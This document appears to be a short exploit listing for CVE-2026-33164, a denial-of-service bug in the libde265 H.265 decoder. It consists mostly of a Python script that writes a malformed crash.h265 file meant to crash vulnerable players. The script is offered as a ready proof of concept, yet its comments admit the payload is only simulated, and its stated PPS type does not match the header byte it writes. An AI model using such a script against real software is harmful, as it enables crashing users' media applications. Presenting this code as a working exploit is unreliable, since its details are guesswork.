CVE-2026-33164 libde265拒绝服务漏洞

# PoC for CVE-2026-33164 (libde265 Segmentation Fault) # This script generates a malformed H.265 bitstream to trigger the crash. import struct def create_malformed_h265(): # NAL Unit Header for PPS (Picture Parameter Set) # Type 0x28 is PPS in HEVC (assuming specific context) # Start code (0x00 0x00 0x00 0x01) + NAL header nal_header = bytes([0x00, 0x00, 0x00, 0x01, 0x48]) # Malformed payload to trigger the bug in set_derived_values # The exact payload depends on the specific parsing logic failure, # but usually involves invalid sizes or flags. # Here we simulate a crafted payload that causes the invalid dereference. malformed_payload = bytes([0xFF] * 100) return nal_header + malformed_payload with open("crash.h265", "wb") as f: f.write(create_malformed_h265()) print("Malformed H.265 file generated: crash.h265") print("Play this file with a vulnerable version of libde265 to trigger the DoS.")